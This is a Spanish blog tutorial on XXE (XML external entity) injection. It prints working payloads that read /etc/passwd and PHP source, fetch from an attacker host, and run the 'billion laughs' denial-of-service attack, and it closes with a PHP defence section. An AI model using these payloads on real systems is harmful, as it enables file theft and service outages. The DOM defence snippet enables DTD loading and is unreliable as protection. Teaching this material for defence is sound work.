0x00 Prologo
XXE es una inyección de entidad externa XML. Las vulnerabilidades son problemas de seguridad por el procesamiento de los datos no seguros en la entidad externa iniciada. En la norma de XML 1.0, la estructura del documento XML con entidad definida (ENTITY), este concepto pueden ser entidades predefinidas, y llamar en el identificador del documento de la entidad la cual puede tener acceso al contenido local o remoto. La introducción de fuentes de contaminación (parámetros de inyeccion) en el proceso, después del procesamiento del documento XML puede conducir a otros problemas de seguridad y la fuga de información.
0x01 Amenaza
XXE es una vulnerabilidad que aun no ha recibido una gran atención,con XXE un atacante puede leer cualquier archivo, realizar ataques de denegación de servicio DOS, y escaneo interno a la red.
Hay diferentes analizadores XML para manejar entidades externas cada uno tiene diferentes reglas, pero la función de procesamiento por defecto en PHP es:
xml_parse o simplexml_load
La biblioteca xml_parse por defecto no resolverá entidades externas, y el siguiente por defecto simplexml_load resolverá entidades externas que suponen una amenaza para la seguridad.
Ademas de PHP, el problema puede existir en Java, Python y otros componentes y funciones de procesamiento XML.
0x02 Sintaxis
Escribir un Payload, primero debe tener una cierta comprensión de gramática de entidades XML, la sintaxis de la entidad XML que se define es:
<!DOCTYPE filename[ <!ENTITY entity-name "entity-content" ]>
Si desea hacer referencia a un recurso externo, puede utilizar varios protocolos algunos ejemplos:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
Por lo tanto, la construccion de varios modelos de payloads sencillos son los siguientes:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>
Puede leer el contenido del sitio web:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>
Si el archivo contiene un fallo puede deberse a los documentos cuando se lee el propio archivo PHP contiene caracteres tales, que solo pueden ser eludidos utilizando base64:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]><methodcall><methodname>&xxe;</methodname></methodcall>
0x03 Ataque
Con XXE hay varios ataques disponibles y abiertos:
- Denegación de servicio
PoC
<?xml version = "1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
PoC: Se define la primera entidad que es lol la cadena "lol" despues también se definen las entidades LOL2 esta entidad hace referencia a lol1 10 veces, lol3 ha citado 10 veces a las entidades de lol2 y asi sucesivamente, en referencia al ultimo lol9 lolz, existirá miles de millones la cadena "lol"
En este punto sin hacer manejo especial al analizar los datos, que pueden dar lugar a ataques de denegación de servicio.
Tambien hay un payload que puede causar denegacion de servicio con la lectura de /dev/random
- Información de red
Con variedad de protocolos como HTTP, XXE puede ayudar en el analisis de la red, el acceso a la red puede ser capaz de abrir el servicio de servidor WEB, y obtener informacion adicional:
- Leer archivos
El uso mas convencional y mas eficaz de las ideas:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>
Adjuntamos dos imágenes, en el proceso de implementacion de leer un archivo:
0x04 Defensa
1.- Compruebe la biblioteca de tratamiento XML subyacente utilizada, la resolución predeterminada prohíbe entidad externa.
2.- Utilizar un código de aplicación de terceros con un parche de manera oportuna.
3.- Al mismo tiempo, mejorar el sistema de vigilancia para exitar este problema de explotación.
Para PHP, problema de análisis de XML simplexml_load_string se encuentra en la biblioteca libxml, por lo que se puede llamar a una función de carga antes de entidad:
<?php libxml_disable_entity_loader(true); ?>
Para una mayor proteccion por XMLReader y Analizar el DOM, se puede hacer referencia al codigo siguiente:
<?php// with the XMLReader functionality:$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:$dom = new DOMDocument();$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);?>>
0x05 Referencias
Este articulo ha sido traducido desde: http://le4f.net/ por arthusu
No hay comentarios:
Publicar un comentario